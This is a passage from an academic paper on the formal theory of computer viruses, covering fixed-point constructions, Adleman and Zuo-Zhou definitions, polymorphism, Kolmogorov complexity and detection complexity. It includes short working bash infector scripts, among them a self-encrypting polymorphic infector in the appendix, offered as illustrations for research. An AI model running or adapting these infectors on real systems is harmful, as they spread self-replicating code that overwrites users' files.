 LENGTH=‘wc -m ./$FName‘
 if [ ./$FName != $0 -a "193" -le "${LENGTH%*./
    $FName}" ]; then
  echo [$0 infect ./$FName]
  cat $0 > ./$FName
 fi
done
```

Ecto-symbiosis
A virus is an ecto-symbiote if it lives on the body surface of the program $\mathbf{v}$. For example, $Dup(\mathbf{v}, \mathbf{p}) = \mathbf{v} \cdot \mathbf{p}$ where $\cdot$ is the word concatenation.

The following bash code adds its own code at the end of every file.

```
for FName in $(ls *.infect.sh);do
 if [ ./$FName != $0 ]; then
  echo [$0 infect ./$FName]
  tail $0 -n 6 | cat >> ./$FName
 fi
done
```

The computer virus "Jerusalem" is an ecto-symbiote since it copies itself to executable file (that is, ".COM" or ".EXE" files).

3.3 Implicit viruses

We establish a result which constructs a virus which performs several actions depending on some conditions on its arguments. This construction of trigger viruses is very general and embeds a lot of practical cases.

Theorem 4. *Let $C_1, \ldots, C_k$ be k semi-computable disjoint subsets of $\mathcal{D}$ and $V_1, \ldots, V_k$ be k semi-computable functions There is a virus $\mathbf{v}$ which*

satisfies for all $\mathbf{p}$ *and* x*, the equation*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \begin{cases} V_1(\mathbf{v}, \mathbf{p}, x) & (\mathbf{p}, x) \in C_1 \\ \vdots & \\ V_k(\mathbf{v}, \mathbf{p}, x) & (\mathbf{p}, x) \in C_k \end{cases} \tag{11}$$

Proof. Define

$$F(y, \mathbf{p}, x) = \begin{cases} V_1(y, \mathbf{p}, x) & (\mathbf{p}, x) \in C_1 \\ \vdots & \\ V_k(y, \mathbf{p}, x) & (\mathbf{p}, x) \in C_k \end{cases} \tag{12}$$

The function F is computable and has a code $\mathbf{e}$ such that $F \approx \varphi_e$. Again, recursion Theorem yields a fixed point $\mathbf{v}$ of F which satisfies the Theorem equation. The induced propagation function is $V(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$

4 Comparison with Adleman's virus

Adleman's modeling is based on the following scenario. For every program, there is an "infected" form of the program.

The virus is a computable function from programs to "infected" programs. An infected program has several behaviors which depend on the input x. Adleman lists three actions. In the first (13) the infected program ignores the intended task and executes some "destroying" code. So it is why it is called *injure*. In the second (14), the infected program infects the others, that is it performs the intended task of the original, a priori sane, program, and then it contaminates other programs. In the third and last one (15), the infected program imitates the original program and stays quiescent.

We translate Adleman's original definition into our formalism.

Definition 5 (Adleman's viruses). *A total computable function* A *is said to be a* A*-viral function (virus in the sense of Adleman) if for each* $x \in \mathcal{D}$ *one of the three following properties holds:*

Injure

$$\forall \mathbf{p}, \mathbf{q} \in \mathcal{D} \quad \varphi_{A(\mathbf{p})}(x) = \varphi_{A(\mathbf{q})}(x) \tag{13}$$

This first kind of behavior corresponds to the execution of some viral functions independently from the infected program.

Infect

$$\forall \mathbf{p}, \mathbf{q} \in \mathcal{D} \quad \varphi_{A(\mathbf{p})}(x) = A(\varphi_{\mathbf{p}}(x)) \tag{14}$$

The second item corresponds to the case of infection. One sees that any part of $\varphi_{\mathbf{p}}(x)$ is rewritten according to A.

Imitate

$$\forall \mathbf{p}, \mathbf{q} \in \mathcal{D} \quad \varphi_{A(\mathbf{p})}(x) = \varphi_{\mathbf{p}}(x) \tag{15}$$

The last item corresponds to mimic the original program.

Our definition respects Adleman's idea and implies easily the original infection definition. In Adleman's paper, the infection definition is very closed to the crushing virus as they have defined previously. However, our definition of the infect case is slightly stronger. Indeed, there is no condition or restriction on the application of the A-viral function to A to $\varphi_{\mathbf{p}}(x)$ unlike Adleman's definition. Indeed, he assumes that $\varphi_{\mathbf{p}}(x) = (\mathbf{d}, \mathbf{p}_1, \ldots, \mathbf{p}_n)$ and that $A(\varphi_{\mathbf{p}}(x)) = (\mathbf{d}, a(\mathbf{p}_1), \ldots, a(\mathbf{p}_n))$ where a is a computable function which depends on A.

Theorem 6. *Assume that A is a A-virus. Then there is a virus which performs the same actions that A.*

Proof. Let $\mathbf{e}$ be the code of A, that is $\varphi_{\mathbf{e}} \approx A$. There is a semi-computable function App such that $App(x, y, z) = \varphi_{\varphi_x(y)}(z)$. Suppose that $\mathbf{q}$ is the code of App. Take $\mathbf{v} = S(\mathbf{q}, \mathbf{e})$. We have

$$\begin{aligned}
\varphi_{A(\mathbf{p})}(x) &= \varphi_{\varphi_{\mathbf{e}}(\mathbf{p})}(x) \\
&= App(\mathbf{e}, \mathbf{p}, x) \\
&= \varphi_{\mathbf{q}}(\mathbf{e}, \mathbf{p}, x) \\
&= \varphi_{S(\mathbf{q},\mathbf{e})}(\mathbf{p}, x) \\
&= \varphi_{\mathbf{v}}(\mathbf{p}, x)
\end{aligned}$$

We conclude that the propagation function is $\mathcal{B}(\mathbf{v}, \mathbf{p}) = A(\mathbf{p})$.

5 Polymorphic viruses

Until now, we have considered viruses which duplicate themselves without modifying their code. Now, we consider viruses which mutate when they

duplicate. Such viruses are called polymorphic; they are common computer viruses. The appendix gives more "practical informations" about them.

This suggests a second definition of self-reproduction. A mutation function *Mut* is a total computable function such that $Mut(\mathbf{v}, \mathbf{p})$ is a word which contains at least an occurrence of a virus $\mathbf{v}'$. The difference with the previous definition of duplication function in Subsection 3.2 is that $\mathbf{v}'$ is a mutated version of $\mathbf{v}$ wrt $\mathbf{p}$.

5.1 On polymorphic generators

Theorem 3, and the implicit virus Theorem 4, shows that a virus is essentially a fixed point of a semi-computable function. In other word, a virus is obtained by solving the equation: $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}, x)$. And solutions are fixed points of f. Rogers [15] established that a computable function has an infinite number of fixed points. So, a first mutation strategy could be to enumerate fixed points of f. However, the set of fixed points of a computable function is Π_2^0, and worst it is Π_2^0-complete for constant functions.

So we can not enumerate all fixed points because it is not a semi-computable set. But, we can generate an infinite number of fixed points.

To illustrate it, we suggest to use a classical padding function *Pad* which satisfies

1. *Pad* is a bijective function.
2. For each program $\mathbf{q}$ and each y, $\varphi_{\mathbf{q}} \approx \varphi_{Pad(\mathbf{q},y)}$.

Lemma 7. *There is a computable padding function Pad.*

Proof. Take $T : \mathcal{D} \times \mathcal{D} \to \mathcal{D}$ as a computable bijective encoding of pairs. Let π_1 be first projection function of T. Define $Pad(\mathbf{q}, y)$ as the code of $\pi_1(T(\mathbf{q}, y))$.

Theorem 8. *Let f be a computable function. Then there is a computable function Gen such that*

$$Gen(i) \text{ is a virus} \tag{16}$$

$$\forall i \neq j, \quad Gen(i) \neq Gen(j) \tag{17}$$

$$\varphi_{Gen(i)}(\mathbf{p}, x) = f(Gen(i), \mathbf{p}) \tag{18}$$

Proof. In fact, $Gen(i)$ is the ith fixed point of f wrt to a fixed point enumeration procedure. A construction of a fixed point enumeration procedure is made by padding Kleene's fixed point given by the proof of the recursion Theorem.

For this, suppose that $\mathbf{p}$ is a program of the semi-computable function $g(S(y,y),x)$. We have

$$g(S(y,y),x) = \varphi_{\mathbf{p}}(y,x) \tag{19}$$

By setting $Gen(i) = S(Pad(\mathbf{p},i), Pad(\mathbf{p},i))$, we have

$$\begin{aligned} g(S(Pad(\mathbf{p},i), Pad(\mathbf{p},i)),x) &= \varphi_{\mathbf{p}}(Pad(\mathbf{p},i),x) && (20)\\ &= \varphi_{Pad(\mathbf{p},i)}(Pad(\mathbf{p},i),x) \quad Pad\text{'s dfn} && (21)\\ &= \varphi_{S(Pad(\mathbf{p},i),Pad(\mathbf{p},i))}(x) && (22) \end{aligned}$$

Remark 9. For a virus writer, a mutation function is a polymorphic engine, such as the well known "Dark Avenger". A polymorphic engine is a module which gives de ability to look different on replication most of them are encryptor, decryptor functions.

5.2 Zuo and Zhou's viral function

Polymorphic viruses were foreseen by Cohen and Adleman. As far as we know, Zuo and Zhou's are the first in [21] to propose a formal definition of the virus mutation process. They discuss on viruses that evolve into at most n forms, and then they consider polymorphism with an infinite numbers of possible mutations.

Definition 10 (Zuo and Zhou viruses). *Assume that T and I are two disjoint computable sets. A total computable function ZZ is a ZZ-viral polymorphic function if for all n and $\mathbf{q}$,*

$$\varphi_{ZZ(n,\mathbf{q})}(x) = \begin{cases} D(x) & x \in T \quad Injure \\ ZZ(n+1, \varphi_{\mathbf{q}}(x)) & x \in I \quad Infect \\ \varphi_{\mathbf{q}}(x) & Imitate \end{cases} \tag{23}$$

This definition is closed to the one of Adleman, where T corresponds to a set of arguments for which the virus injures and I is a set of arguments for which the virus infects. The last case corresponds to the imitation behavior of a virus. So, the difference stands on the argument n which is used to mutate the virus in the infect case. Hence, a given program $\mathbf{q}$ has an infinite set of infected forms which are $\{ZZ(\mathbf{q},n) \mid n \in \mathcal{D}\}$. (Technically, n is an encoding of natural numbers into $\mathcal{D}$.)

Theorem 11. *Assume that ZZ is a ZZ-viral polymorphic function. Then there is a virus which performs the same actions that ZZ wrt a propagation function.*

Proof. The proof is a direct consequence of implicit virus Theorem 4 by setting $\mathbf{p} = (n, \mathbf{q})$.

6 Information Theory

There are various way to define a mutation function. A crucial feature of a virus is to be as small as possible. Thus, it is much harder to detect it. We now revisit clone and symbiote virus definitions.

6.1 Compressed clones

A compressed clone is a mutated virus $Mut(\mathbf{v}, \mathbf{p})$ such that $|Mut(\mathbf{v}, \mathbf{p})| < |\mathbf{v}|$. A compression may use informations inside the program $\mathbf{p}$. There are several compression algorithms which perform such replications.

6.2 Endo-Symbiosis

An endo-symbiote is a virus which hides (and lives) in a program. A spyware is a kind of endo-symbiote. For this, it suffices that

1. We can retrieve $\mathbf{v}$ and $\mathbf{p}$ from $Mut(\mathbf{v}, \mathbf{p})$. That is, there are two inverse functions V and P such that $\varphi_{V(Mut(\mathbf{v},\mathbf{p}))} \approx \varphi_{\mathbf{v}}$ and $\varphi_{P(Mut(\mathbf{v},\mathbf{p}))} \approx \varphi_{\mathbf{p}}$
2. To avoid an easy detection of viruses, we impose that
$$|Mut(\mathbf{v}, \mathbf{p})| \leq |\mathbf{p}|$$
3. We suppose furthermore that
$$|V(Mut(\mathbf{v}, \mathbf{p}))| + |P(Mut(\mathbf{v}, \mathbf{p}))| \leq |Mut(\mathbf{v}, \mathbf{p})|$$

Both examples above show an interesting relationship with complexity information Theory. For this, we refer to the book of Li and Vitányi [12]. Complexity information theory leans on Kolmogorov complexity. The Kolmogorov complexity of a word $x \in \mathcal{D}$ wrt $\varphi_{\mathbf{e}}$ and knowing y is $K_{\varphi_{\mathbf{e}}}(x|y) = \min\{|\mathbf{q}| : \varphi_{\mathbf{e}}(\mathbf{q}, y) = x\}$. The fundamental Theorem of Kolmogorov complexity theory yields: There is universal program $\mathbf{u}$ such that for any program $\mathbf{e}$, we have $K_{\varphi_{\mathbf{u}}}(x|y) \leq K_{\varphi_{\mathbf{e}}}(x|y) + c$ where c is some constant. This means that the minimal size of a program which computes a word x wrt y is $K_{\varphi_{\mathbf{u}}}(x|y)$, up to an additive constant.

Now, suppose that the virus $\mathbf{v}$ mutates to $\mathbf{v}'$ from $\mathbf{p}$. That is $Mut(\mathbf{v}, \mathbf{p}) = \mathbf{v}'$. An interesting question is then to determine the amount of information which is needed to produce the virus $\mathbf{v}'$. The answer is $K_{\varphi_\mathbf{u}}(\mathbf{v}'|(\mathbf{v}, \mathbf{p}))$ bits, up to an additive constant.

The demonstration of the fundamental Theorem implies that the shortest description of a word x is made of two parts. The first part $\mathbf{e}$ encodes the word regularity and the second part $\mathbf{q}$ represents the "randomness" side of x. And, we have $\varphi_\mathbf{e}(\mathbf{q}, y) = x$. Here, the program $\mathbf{e}$ plays the role of an interpreter which executes $\mathbf{q}$ in order to print x. Now, let us decompose $\mathbf{v}'$ into two parts (i) an interpreter $\mathbf{e}$ and (ii) a random data part $\mathbf{q}$ such that $\varphi_{\mathbf{v}'} = \varphi_{\varphi_\mathbf{e}(\mathbf{q},\mathbf{v},\mathbf{p})}$. In this construction, the virus introduces an interpreter for hiding itself. This is justified by the fundamental Theorem which says that it is an efficient way to compress a virus. In [9], Goel and Bush use Kolmogorov complexity to make a comparison and establish results between biological and computer viruses.

6.3 Defense against endo-symbiotes

We suggest an original defense (as far as we know) against some viruses based on information Theory. We use the notations introduced in Section 6 about endo-symbiosis and Kolmogorov complexity.

Our defense prevents the system to be infected by endo-symbiote. Suppose that the programming environment is composed of an interpreter $\mathbf{u}$ which is a universal program. We modify it to construct $\mathbf{u}'$ in such way that $\varphi_{\mathbf{u}'}(\mathbf{p}, x) = \varphi_{\varphi_\mathbf{u}(\mathbf{p})}(x)$. Hence, intuitively a program for $\varphi_{\mathbf{u}'}$ is a description of a program wrt $\varphi_\mathbf{u}$.

Given a constant c, we define a c-compression of a program $\mathbf{p}$ as a program $\mathbf{p}'$ such that $\varphi_\mathbf{u}(\mathbf{p}') = \mathbf{p}$ and $|\mathbf{p}'| \leq K_{\varphi_u}(\mathbf{p}) + c$. Observe that $\varphi_{\mathbf{u}'}(\mathbf{p}', x) = \varphi_\mathbf{p}(x)$.

Now, suppose that $\mathbf{v}$ is an endo-symbiote. So, there is a mutation function Mut and two associated projections V et P. We have by definition of endo-symbiotes that $|V(Mut(\mathbf{v}, \mathbf{p}'))| + |P(Mut(\mathbf{v}, \mathbf{p}'))| \leq |Mut(\mathbf{v}, \mathbf{p}')| \leq |\mathbf{p}'|$. By definition of P, we have $\varphi_{\mathbf{p}'} = \varphi_{P(Mut(\mathbf{v},\mathbf{p}'))}$. As a consequence, $\varphi_\mathbf{u}(\mathbf{p}') = \varphi_\mathbf{u}(P(Mut(\mathbf{v}, \mathbf{p}'))) = \mathbf{p}$. So, $|P(Mut(\mathbf{v}, \mathbf{p}'))| \geq K_{\varphi_\mathbf{u}}(\mathbf{p})$. Finally, the space $|V(Mut(\mathbf{v}, \mathbf{p}'))|$ to encode the virus is bounded by c. Notice that it is not difficult to forbid $\varphi_{\mathbf{u}'}$ to execute programs which have less than c bits. In this case, no endo-symbiote can infect $\mathbf{p}'$. Therefore, c-compressed programs are safe from attack by endo-symbiotes.

Of course, this defense strategy is infeasible because there is no way to approximate the Kolmogorov complexity by mean of a computable function. In consequence, we can not produce c-compressed programs.

However, we do think this kind of idea shed some light on self-defense programming systems.

7 Detection of viruses

Let us first consider the set of viruses wrt a function $\mathcal{B}$. It is formally given by $V_{\mathcal{B}} = \{\mathbf{v} \mid \forall \mathbf{p}, x : \exists y : \varphi_{\mathbf{v}}(\mathbf{p}, x) = y \wedge \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = y\}$. As the formulation of $V_{\mathcal{B}}$ shows it, we have:

Proposition 12. *Given a recursive function $\mathcal{B}$, $V_{\mathcal{B}}$ is Π_2^0.*

Theorem 13. *There are some functions $\mathcal{B}$ for which $V_{\mathcal{B}}$ is Π_2^0-complete.*

Proof. Suppose now given a computable function t, it has an index $\mathbf{q}$. It is well known that the set $T = \{i \mid \varphi_i = t\}$ is Π_2-complete. Define now $\mathcal{B}(y, p) = S(\mathbf{q}, p)$. Observe that a virus $\mathbf{v}$ verify: $\forall \mathbf{p}, x : \varphi_{\mathbf{v}}(\mathbf{p}, x) = t(\mathbf{p}, x)$. The pairing procedure being surjective, $\mathbf{v}$ is an index of t. Conversly, suppose that $\mathbf{e}$ is not a virus. In that case, there is some $\mathbf{p}, x$ for which $\varphi_{\mathbf{e}}(\mathbf{p}, x) \neq \varphi_{\mathcal{B}(\mathbf{e},\mathbf{p})}(x) = t(\mathbf{p}, x)$. As a consequence, it is not an index of t. So, $V_{\mathcal{B}} = T$.

Theorem 14. *There are some functions $\mathcal{B}$ for which it is decidable whether $\mathbf{p}$ is a virus or not.*

Proof. Let us define $f(y, \mathbf{p}, x) = \varphi_y(\mathbf{p}, x)$. Being recursive, it has a code, say $\mathbf{q}$. Application of s-m-n Theorem provides $S(\mathbf{q}, y, \mathbf{p})$ such that for all $y, \mathbf{p}, x$, we have $\varphi_{S(\mathbf{q},y,\mathbf{p})}(x) = f(y, \mathbf{p}, x)$. Let us define $\mathcal{B}(y, \mathbf{p}) = S(\mathbf{q}, y, \mathbf{p})$. It is routine to check that for all $\mathbf{d}$, $\mathbf{d}$ is a virus for $\mathcal{B}$. So, in that case, any index is a virus.

A consequence of this is that there are some weakness for which it is decidable whether a code is a virus or not. This is again, as far as we know, one of the first positive results concerning the detection of viruses.

References

1. L. Adleman. An abstract theory of computer viruses. In *Advances in Cryptology — CRYPTO'88*, volume 403. Lecture Notes in Computer Science, 1988.
2. M. Bishop. An overview of computer viruses in a research environment. Technical report, Hanover, NH, USA, 1991.
3. D. Chess and S. White. An undetectable computer virus.
4. F. Cohen. *Computer Viruses.* PhD thesis, University of Southern California, January 1986.

5. F. Cohen. Computer viruses: theory and experiments. *Comput. Secur.*, 6(1):22–35, 1987.
6. F. Cohen. Models of practical defenses against computer viruses: theory and experiments. *Comput. Secur.*, 6(1), 1987.
7. M. Davis. *Computability and unsolvability*. McGraw-Hill, 1958.
8. E. Filiol. *Les virus informatiques: théorie, pratique et applications*. Springer-Verlag France, 2004.
9. S. Goel and S. Bush. Kolmogorov complexity estimates for detection of viruses in biologically inspired security systems: a comparison with traditional approaches. *Complex.*, 9(2):54–73, 2003.
10. S. Anderson H. Thimbleby and P. Cairns. A framework for medelling trojans and computer virus infection. *Comput. J.*, 41:444–458, 1999.
11. N. Jones. Computer implementation and applications of kleene's S-m-n and recursive theorems. In Y. N. Moschovakis, editor, *Lecture Notes in Mathematics, Logic From Computer Science*, pages 243–263. 1991.
12. M. Li and P. Vitányi. *An Introduction to Kolmogorov Complexity and its Application*. Springer, 1997. (Second edition).
13. M. Ludwig. *The Giant Black Book of Computer Viruses*. American Eagle Publications, 1998.
14. P. Odiffredi. *Classical recursion theory*. North-Holland, 1989.
15. H. Rogers. *Theory of Recursive Functions and Effective Computability*. McGraw Hill, New York, 1967.
16. P. Szor. *The Art of Computer Virus Research and Defense*. Addison-Wesley Professional, 2005.
17. A. Turing and J.-Y. Girard. *La machine de Turing*. Seuil, 1995.
18. A. M. Turing. On computable numbers with an application to the entscheidungsproblem. *Proc. London Mathematical Society*, 42(2):230–265, 1936. Traduction [17].
19. V.A. Uspenskii. Enumeration operators ans the concept of program. *Uspekhi Matematicheskikh Nauk*, 11, 1956.
20. J. von Neumann and A. W. Burks. Theory of self-reproducing automata. University of Illinois Press, Champaign, IL, 1966.
21. Z. Zuo and M. Zhou. Some further theorical results about computer viruses. In *The Computer Journal*, 2004.

A Polymorphic Viruses

A method widely used for virus detection is file scanning. It uses short strings, refered as signatures, resulting from reverse engineering of viral codes. Those signatures only match the considered virus and not healthy programs. Thus, using a search engine, if a signature is found a virus is detected.

To avoid this detection, one could consider and old virus and change some instructions in order to fool the signature recognition. As an illustration, consider the following signature of a viral bash code

```
for FName in $(ls *.infect.sh);do
```

```
  if [ ./$FName != $0 ]; then
   cat $0 > ./$FName
  fi
done
```

The following code denotes the same program but with an other signature

```
OUT=cat
for FName in $(ls *.infect.sh); do
  if [ ./$FName != $0 ]; then
   $OUT $0 > ./$FName
  fi
done
```

Polymorphic viruses use this idea, when it replicates, such a virus changes some parts of its code to look different.

Virus writers began experimenting with such techniques in the early nineties and it achieved with the creation of mutation engines. Historically the first one was "Dark Avenger". Nowadays, many mutation engines have been released, most of them use encryption, decryption functions. The idea, is to break the code into two parts, the first one is a decryptor responsible for decrypting the second part and passing the control to it. Then the second part generates a new decryptor, encrypts itself and links both parts to create a new version of the virus.

A polymorphic virus could be illustrated by the following bash code, it is a simple virus which use as polymorphic engine a swap of two characters.

```
SPCHAR=007
LENGTH=17
ALPHA=
    azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN

CHAR1=${ALPHA:`expr $RANDOM % 52`:1}
CHAR2=${ALPHA:`expr $RANDOM % 52`:1}
#add the decryptor
echo "SPCHAR=007" > ./tmp
echo "tail -n $LENGTH \$0 | sed -e \"s/$CHAR1/\
    $SPCHAR/g\" -e \"s/$CHAR2/$CHAR1/g\" -e \"s/\
    $SPCHAR/$CHAR2/g\" -e \"s/SPCHAR=$CHAR2/SPCHAR=
    $SPCHAR/g\"> ./vx" >> ./tmp
echo "./vx" >> ./tmp
echo "exit 0" >> ./tmp
```

```
#encrypt and add viral code
cat $0 | sed -e "s/$CHAR1/$SPCHAR/g" -e "s/$CHAR2/
    $CHAR1/g" -e "s/$SPCHAR/$CHAR2/g" -e "s/SPCHAR=
    $CHAR2/SPCHAR=$SPCHAR/g" >> ./tmp
#infect
for FName in $(ls *.infect.sh);do
  cat ./tmp >> ./$FName
done
rm -f ./tmp
```

B Metamorphic viruses

To detect polymorphic computer viruses, anti virus editors have used code emulation techniques and static analysers. The idea of emulation, is to execute programs in a controled fake environment. Thus an encrypted virus will decrypt itself in this environment and some signature detection can be done. Concerning static analysers, they are improved signature maching engines which are able to recognize simple code variation.

To thward those methods, since 2001 virus writers has investigated metamorphism. This is an enhanced morphism technique. Where polymorphic engines generate a variable encryptor, a metamorhic engine generates a whole variable code using some obfuscation functions. Moreover, to fool emulation methods metamorphic viruses can alter their behavior if they detect a controled environment.

When it is executed, a metamorphic virus desassembles its own code, reverse engineers it and transforms it using its environment. If it detects that his environment is controled, it transforms itself into a healthy program, else it recreates a new whole viral code using reverse ingineered information, in order to generate a replication semantically indentical but programmatically different.

Such a virus is really difficult to analyse, thus it could take a long period to understand its behavior. During this period, it replicates freely.

Intuitively, polymorphic viruses mutates without concidering their environment whereas metamophic viruses spawn their next generation using new information. As a matter of fact, to capture this notion, one must consider the equation $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}, x)$ in its entirety.